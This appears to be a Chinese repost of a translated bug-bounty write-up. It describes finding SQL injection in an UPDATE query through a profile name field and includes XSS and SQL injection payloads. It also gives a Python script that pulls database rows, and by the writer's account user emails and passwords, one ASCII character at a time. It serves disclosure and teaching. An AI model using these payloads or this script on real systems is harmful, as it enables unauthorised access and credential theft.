UPDATE 查询中的 SQL 注入

Posted 看雪学院

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了UPDATE 查询中的 SQL 注入相关的知识,希望对你有一定的参考价值。

今天,我介绍一个我最近发现的一个 SQL 注入漏洞。

在一个Hacking夜晚,依然像往常一样喝着我最爱的冰镇果汁,挑了一个 bug 比较多的程序,开始测试。

就像其他研究员一样,我四处测试 XSS payload。(通常用 '"><img src=x onerror=alert(2) x= 。再尝试了多个点后,终于有一点爆出了一个 500 错误,这当然引起了我的注意。

发生错误的地方是一个 full name 对话框,我紧接着尝试了 test'test ,同样产生了 500 错误,意味着由于单引号的问题导致该错误的发生。

意识到是这个问题后,我猜测服务器应该是构建 SQL 查询的时候没有对单引号进行转义。所以我尝试了手动转义(两个单引号)看会发生什么。我输入了 test''test ,我惊奇的发现错误不见了,而我的 full name 变为了 test'test' 。
由于该对话框是用来修改我的用户全称,故我猜测这是一个UPDATE查询语句。故我尝试了使用 '+@@VERSION+' ,刷新页面后,我的名字变为了 mysql DBMS 的版本 5.6。

注意:由于这是一个 JSON request,故此处的 + 不会被替换为空格(%20)。

我上报了该问题不久之后,厂商回复了我,请求我进一步深入,同时从数据库中获得更多的信息。

使用这个 SQL 注入漏洞来获取更多数据似乎很难,因为当我尝试扩展查询时总是返回0,由于 MySQL 不支持使用 + 来连接两个字符串。

如果服务器是 SQL server,将会非常简单,我可以轻轻松松的使用 'x'+version()+'x' 来连接两个字符串,之后我的名字可能会变成 x5x 这样。(5是根据不同的版本不同)。

所以,别的 payload,像 'x'+user()+'x' ,将总是返回 0,由于用户名是一个 string,而 + 只能用来相加数字。

故,唯一可能的方法就是,通过转化为数字来获取string的值。因此,我使用了函数 ASCII() 来转化一个string到它对应的ASCII数字,之后我抓取返回结果,再将数字转换回 string。

`'+length(user())#`用来获取要接受的string的长度。
`'+ASCII(substr(user(),1))#`获取要接受的string的第一个字符。
`'+ASCII(substr(user(),2))#`获取要接受的string的第二个字符
`'+ASCII(substr(user(),3))#`获取要接受的string的第三个字符

以此类推。我写了一个脚本来实现这个过程:

import requests
rheaders = {} # Request headers
rcookies = {} # Request cookies
url = 'https://<target>/api/v1/' # Vulnerable endpoint
len = 1000 # length of the string (using 1000 assuming that it won't be more than that,
going out of the string length will return 0 at that moment we know that we got the full
string)
column = 'schema_name' # what to return
table = 'information_schema.schemata' # from what
orderby = 'schema_name'
d=''
start = 0
end = 20
for l in range(start,end):
limit = l
print 'Retrieving '+column+' at row ' + str(limit+1) + '...'
if l > start and d == '':
break
d=''
for i in range(1,len):
r = requests.put(url, json={"fullname":"' ‐ (select
ASCII(substr("+column+","+str(i)+")) from "+table+" order by "+orderby+" limit
"+str(limit)+",1) #"},headers=rheaders,cookies=rcookies)
b = requests.get(url,cookies=rcookies).content.split('fullname":"',1)[1]
[:5] # Get the returned value
n = filter(lambda b:b>='0' and b<='9', b)
d += chr(int(n)) # Convert ASCII number to equivalent character
#print d
if n == '0':
print column + ' at row ' + str(limit+1)+' :‐ ', d
break

使用这个脚本,我可以通过修改’column’,’table’, ‘orderby’变量的值来轻易的获取到数据库的信息。以下是一个截图:

UPDATE 查询中的 SQL 注入

通过一些轻易的修改,我们可以获取到用户的邮件和密码:

运行脚本后截图:




本文由 看雪翻译小组 ghostway 编译,来源Mahmoud Jamal@Zombiehelp54


 热 门 阅 读:








......

更多优秀文章点击左下角“阅读原文”查看!


看雪论坛:http://bbs.pediy.com/

微博:看雪安全

投稿、合作:www.kanxue.com

以上是关于UPDATE 查询中的 SQL 注入的主要内容,如果未能解决你的问题,请参考以下文章

sql注入攻击与防御第二版读书笔记二——SQL注入测试

如何在 SQL Server 中的 UPDATE 查询的子查询中引用表变量

SQL注入之sqli-labs等(安装,配置)

CTFSHOW SQL注入篇(231-253)

CTFSHOW SQL注入篇(231-253)

SQL UPDATE 查询中的错误